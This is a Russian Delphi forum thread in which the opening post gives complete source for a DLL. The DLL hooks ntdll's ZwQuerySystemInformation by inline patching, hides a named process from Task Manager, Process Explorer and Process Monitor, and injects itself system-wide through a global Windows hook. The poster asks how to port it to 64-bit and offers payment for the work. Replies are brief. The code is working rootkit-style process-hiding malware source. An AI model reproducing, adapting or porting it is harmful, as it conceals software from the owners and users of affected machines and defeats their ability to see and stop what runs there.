Конференция "WinAPI" » перехват native api в 64bit Windows... [D7]
 
  • istok20 © (24.06.09 00:48) [0]
    есть у меня такая либа, которая скрывает любой процесс из диспетчера задач и других программ. проблема в том, что она не работает в 64битных виндах.  вопрос - как ее подружить с 64битными ОС Windows?


    library prtct;

    uses
     Windows,
     NativeAPI,
     ThreadStopper;

    type
    OldCode = packed record
     One: dword;
     two: word;
    end;

    far_jmp = packed record
     PuhsOp: byte;
     PushArg: pointer;
     RetOp: byte;
    end;

    var
     Hook: HHOOK;
     JmpZwq: far_jmp;
     OldZwq: OldCode;
     PtrZwq: pointer;
     FIsTM: Boolean;

    Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;
                                     ASystemInformation: Pointer;
                                     ASystemInformationLength: dword;
                                     AReturnLength: PCardinal): NTStatus; stdcall;
    var
    Written: dword;
    begin
     WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                        @OldZwq, SizeOf(OldCode), Written);

     Result := ZwQuerySystemInformation(ASystemInformationClass,
                                        ASystemInformation,
                                        ASystemInformationLength,
                                        AReturnLength);

     WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                        @JmpZwq, SizeOf(far_jmp), Written);
    end;

    Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
                                     ASystemInformation: Pointer;
                                     ASystemInformationLength: dword;
                                     AReturnLength: PCardinal): NTStatus; stdcall;
    var
     Info, Prev: PSYSTEM_PROCESSES;
    begin
     Result := TrueZwQuerySystemInformation(ASystemInformationClass,
                                           ASystemInformation,
                                           ASystemInformationLength,
                                           AReturnLength);

     if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
       (Result = STATUS_SUCCESS) then
     begin
       Prev := ASystemInformation;
       Info := ASystemInformation;
       while Info^.NextEntryDelta <> 0 do
       begin
         Info := Pointer(dword(Info) + Info^.NextEntryDelta);
         if (lstrcmpiw(Info^.ProcessName.Buffer, 'myprogram.exe') = 0)  then
         begin
           if Info^.NextEntryDelta = 0 then
             Prev^.NextEntryDelta := 0
           else
             Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
         end
         else
           Prev := Info;
       end;
     end;
    end;

    function IsTM: Boolean;
    var
     WndFound: Boolean;
     rslt: boolean;

     function AnalyzeWnd(CurHandle: THandle; CurrentProcessId: LParam): Boolean; stdcall;
     var
       WndProcId: Cardinal;
       Buffer : array[0..255] of Char;
     begin
       Result := True;
       GetWindowThreadProcessId(CurHandle, WndProcId);

       if LParam(WndProcId) = CurrentProcessId then
       begin
         FillChar(Buffer, 256, 0);
         GetClassName(CurHandle, @Buffer[0], 255);

         if (Buffer = '#32770') or (Buffer = 'PROCEXPL') or (Buffer = 'PROCMON_WINDOW_CLASS') then
         begin
           WndFound := True;
           //&#239;&#240;&#229;&#234;&#240;&#224;&#249;&#224;&#229;&#236; Enum
           Result := False;
         end;  
       end;
     end;

    begin

     WndFound := False;
     rslt := EnumWindows(@AnalyzeWnd, GetCurrentProcessId);
     Result := not rslt;
    end;

    type
    TWriteProcessMemory = function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
     nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; StdCall;

    procedure WriteProcessMemory2(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
     nSize: DWORD; var lpNumberOfBytesWritten: DWORD);
    var
    LibHandle  : THandle;
    RunWriteProcessMemory: TWriteProcessMemory;
    begin
    // Attempt to load the DLL
    LibHandle := LoadLibrary('KERNEL32.DLL');
    try
     // If the load failed, LibHandle will be zero.
     // If this occurs, raise an exception.
     if LibHandle = 0 then Exit;
    //   raise EDLLLoadError.Create('Unable to Load DLL');
     // If the code makes it here, the DLL loaded successfully; now obtain
     // the link to the DLL's exported function so that it can be called.
     @RunWriteProcessMemory := GetProcAddress(LibHandle, '
    WriteProcessMemory');
     // If the function is imported successfully, then set
     // lblDate.Caption to reflect the returned date from
     // the function. Otherwise, show the return raise an exception.
     if not (@RunWriteProcessMemory = nil) then
      RunWriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten)
    //  else
    //   RaiseLastWin32Error;
    finally
     FreeLibrary(LibHandle); // Unload the DLL.
    end;
    end;

    Procedure SetHook();
    var
    Bytes: dword;
    begin
     PtrZwq  := GetProcAddress(GetModuleHandle('
    ntdll.dll'), 'ZwQuerySystemInformation');
     ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
     JmpZwq.PuhsOp  := $68;
     JmpZwq.PushArg := @NewZwQuerySystemInformation;
     JmpZwq.RetOp   := $C3;
     WriteProcessMemory2(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
    end;

    Procedure Unhook();
    var
    Bytes: dword;
    begin
     WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
    end;

    function MessageProc(code : integer; wParam : longint; lParam : longint) : longint; stdcall; export;
    begin
     Result := CallNextHookEx(0, Code, wParam, lparam);
    end;

    procedure DLLEntryPoint(dwReason: DWord);
    begin
     if not FIsTM then Exit;
     case dwReason of
       DLL_PROCESS_ATTACH: begin
                             //SetGlobalHook();
                             StopThreads;
                             SetHook();
                             RunThreads;
                           end;
       DLL_PROCESS_DETACH: begin
                             StopThreads;
                             Unhook();
                             RunThreads;
                           end;
     end;
    end;

    procedure GlobalHook; export;
    begin
     Hook:=SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
    end;

    procedure GlobalUnhook;export;
    begin
     UnhookWindowsHookEx(Hook);
    end;

    exports
     GlobalHook, GlobalUnhook;

    begin
     FIsTM := IsTM;
     DllProc := @DLLEntryPoint;
     DLLEntryPoint(DLL_PROCESS_ATTACH);
    end.

  • brother © (24.06.09 05:40) [1]
    переписать под x64?
  • Игорь © (24.06.09 09:24) [2]
  • istok20 © (24.06.09 12:57) [3]

    > переписать под x64?

    это только из-под VisualStudio или и в delphi как-то реально под 64бита скомпилить?
  • brother © (24.06.09 14:17) [4]
    > под 64бита скомпилить?

    я говорил о переписать)
  • DVM © (24.06.09 19:45) [5]

    > и в delphi как-то реально под 64бита скомпилить?

    FreePascal может
  • istok20 © (30.11.09 18:29) [6]
    угу, перевели в FreePascal, компилит (в lazarus), грузит, но там очевидно надо править start\stop threads и writetoprocessmemory под 64бита,

    буду рад если кто-то отклинется пофиксить (или переписать в любой другой среде) код за оплату.

    можете писать сюда - alex_for_chat@mail.ru - вышлю тестовый проект.

    спасибо
  • Игорь Шевченко © (30.11.09 19:45) [7]

    > есть у меня такая либа, которая скрывает любой процесс из
    > диспетчера задач


    Тайное всегда становится явным. Найдут и больно надерут ремнем.
  • istok20 © (30.11.09 20:17) [8]

    > Игорь Шевченко ©   (30.11.09 19:45) [7]


    это реквест клиента, чьи сотрудники работают на компьютерах, являющихся собственностью компании. более того, сотрудники об этих процессах знают. так что ничего криминального)
  • Anatoly Podgoretsky © (01.12.09 08:55) [9]
    > istok20  (30.11.2009 20:17:08)  [8]

    Административны задачи наиболее эффективно решаются административными методами.
  • istok20 © (01.12.09 13:01) [10]

    > Anatoly Podgoretsky ©   (01.12.09 08:55) [9]
    > > istok20  (30.11.2009 20:17:08)  [8]
    >
    > Административны задачи наиболее эффективно решаются административными
    > методами.


    они их решают и административно тоже, но очень хотят чтобы сотрудник не имел возможности "мухлевать" и отключать процессы приложения..

    я понимаю, что здесь есть доля паранойи, но моё дело сделать и продать то, на что есть спрос, а не переубеждать клиента)

    вобщем, если у кого есть идеи как это сделать, пишите на alex_for_chat@mail.ru, договоримся.

    спасибо.
 
Конференция "WinAPI" » перехват native api в 64bit Windows... [D7]
Есть новые Нет новых   [134431   +16][b:0][p:0.004]